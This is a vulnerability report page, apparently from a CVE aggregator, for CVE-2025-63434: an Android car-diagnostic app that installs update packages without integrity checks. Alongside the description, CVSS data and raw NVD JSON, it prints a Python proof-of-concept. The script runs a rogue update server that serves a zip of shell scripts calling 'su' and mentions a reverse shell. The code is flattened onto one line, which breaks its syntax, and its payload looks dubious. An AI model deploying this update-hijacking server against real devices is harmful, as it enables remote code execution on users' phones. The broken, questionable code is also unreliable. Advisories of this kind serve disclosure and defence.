Security Vulnerability Report
中文
CVE-2025-63434 CVSS 8.8 HIGH

CVE-2025-63434

Published: 2025-11-24 17:16:08
Last Modified: 2025-11-28 17:06:23

Description

The update mechanism in Xtooltech Xtool AnyScan Android Application 4.40.40 and prior is insecure. The application downloads and extracts update packages containing executable code without performing a cryptographic integrity or authenticity check on their contents. An attacker who can control the update metadata can serve a malicious package, which the application will accept, extract, and later execute, leading to arbitrary code execution.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:xtooltech:xtool_anyscan:*:*:*:*:*:android:*:* - VULNERABLE
Xtool AnyScan Android Application <= 4.40.40

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import http.server import socketserver import os import zipfile import io # 恶意更新包生成脚本 def create_malicious_update(): # 创建包含恶意代码的payload malicious_code = '''#!/system/bin/sh # Reverse shell or arbitrary command execution am start -n com.android.term/.TermService input text "su -c \'whoami > /data/local/tmp/pwned.txt\'" ''' # 创建ZIP格式的恶意更新包 zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zipf: zipf.writestr('update.sh', malicious_code) zipf.writestr('install.sh', malicious_code) return zip_buffer.getvalue() class MaliciousUpdateHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if '/update' in self.path or 'firmware' in self.path: # 返回恶意更新包 self.send_response(200) self.send_header('Content-Type', 'application/zip') self.send_header('Content-Disposition', 'attachment; filename=update.zip') self.end_headers() self.wfile.write(create_malicious_update()) else: self.send_response(404) self.end_headers() def log_message(self, format, *args): print(f"[*] Request: {args[0]}") if __name__ == '__main__': PORT = 8080 with socketserver.TCPServer(('', PORT), MaliciousUpdateHandler) as httpd: print(f"[*] Malicious update server running on port {PORT}") httpd.serve_forever()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63434", "sourceIdentifier": "[email protected]", "published": "2025-11-24T17:16:08.047", "lastModified": "2025-11-28T17:06:23.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The update mechanism in Xtooltech Xtool AnyScan Android Application 4.40.40 and prior is insecure. The application downloads and extracts update packages containing executable code without performing a cryptographic integrity or authenticity check on their contents. An attacker who can control the update metadata can serve a malicious package, which the application will accept, extract, and later execute, leading to arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-494"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xtooltech:xtool_anyscan:*:*:*:*:*:android:*:*", "versionEndIncluding": "4.40.40", "matchCriteriaId": "9206BD15-A1A8-4913-9D0A-9ADE50B81994"}]}]}], "references": [{"url": "https://github.com/ab3lson/cve-references/tree/master/CVE-2025-63434", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}